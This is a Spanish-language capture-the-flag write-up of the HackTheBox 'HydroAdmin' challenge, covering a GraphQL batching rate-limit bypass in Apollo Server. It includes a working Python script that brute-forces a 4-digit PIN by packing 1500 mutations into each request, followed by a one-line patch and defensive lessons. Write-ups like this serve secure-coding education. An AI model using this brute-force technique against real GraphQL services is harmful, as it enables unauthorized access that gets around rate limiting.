HTB Secure Coding S10 — HydroAdmin: GraphQL Batching Attack

// CLASSIFIED OPERATION REPORT //

HTB Secure Coding S10 — HydroAdmin: GraphQL Batching Attack

Writeup de HydroAdmin (HTB Secure Coding Season 10). GraphQL Batching permite bypassear rate limiting enviando miles de operaciones en un solo HTTP request para hacer bruteforce de un PIN de 4 dígitos.

HTB EASY 20 de abril de 2026
#HTB#Secure Coding#Web#GraphQL#Batching#Rate Limit Bypass#Bruteforce#Node.js#Apollo
Realizado en entornos autorizados. Solo con fines educativos.

Author Platform Season Difficulty Category

Flippermen | CyberFlippers | UDLA-Cyber

Disclaimer: Writeup realizado en entorno autorizado de Hack The Box con fines educativos. Enfoque Secure Coding — identificar, explotar y parchear vulnerabilidades en código fuente.


CampoValor
ChallengeHydroAdmin
DificultadEasy
CategoríaWeb
Puntos20
VulnerabilidadGraphQL Batching — Rate Limit Bypass
StackNode.js / Apollo Server / GraphQL Armor

Descripción

Sistema de gestión de agua con PIN de 4 dígitos (1000–9999). Rate limit de 10 requests/minuto. Apollo Server con allowBatchedHttpRequests: true.

Vulnerabilidad

Con batching habilitado, Apollo acepta arrays de operaciones en un solo HTTP request. El rate limiter cuenta el array como una request, pero ejecuta las N operaciones internas. Con batches de 1500 PINs y 6 requests se cubre todo el espacio de 9000 valores.

// VULNERABLE — index.js
const server = new ApolloServer({
    ...armor.protect(),
    introspection: false,
    typeDefs,
    allowBatchedHttpRequests: true,  // ← permite brute-force
    resolvers
});

Exploit

import requests

BASE_URL = "http://<IP>:<PORT>/challenge"

def create_batch_query(start_pin, end_pin):
    return [
        {"query": f'mutation{{verifyAccessPin(pin:"{pin:04d}"){{authorized}}}}'}
        for pin in range(start_pin, end_pin)
    ]

# 1500 mutaciones en 1 HTTP request → rate limiter ve 1 request
batch = create_batch_query(1000, 2500)
response = requests.post(f"{BASE_URL}/graphql", json=batch)
# → buscar {"authorized": true} en la respuesta

Parche

// index.js
const server = new ApolloServer({
    ...armor.protect(),
    introspection: false,
    typeDefs,
    allowBatchedHttpRequests: false,  // ← una línea, fix completo
    resolvers
});

Key Takeaways

  1. Rate limiting a nivel de operación, no de request — GraphQL batching, alias batching y técnicas similares permiten N operaciones por HTTP request. El rate limiter debe contar operaciones.
  2. allowBatchedHttpRequests: false por defecto — habilitar batching solo si hay una necesidad de negocio clara, con rate limiting a nivel de operación.
  3. GraphQL Armor no protege contra batching si está habilitado — las librerías de seguridad no pueden compensar configuraciones explícitamente inseguras.

Flippermen HackTheBox Season 10 — Platinum Tier | #1 Ecuador | CyberFlippers | UDLA-Cyber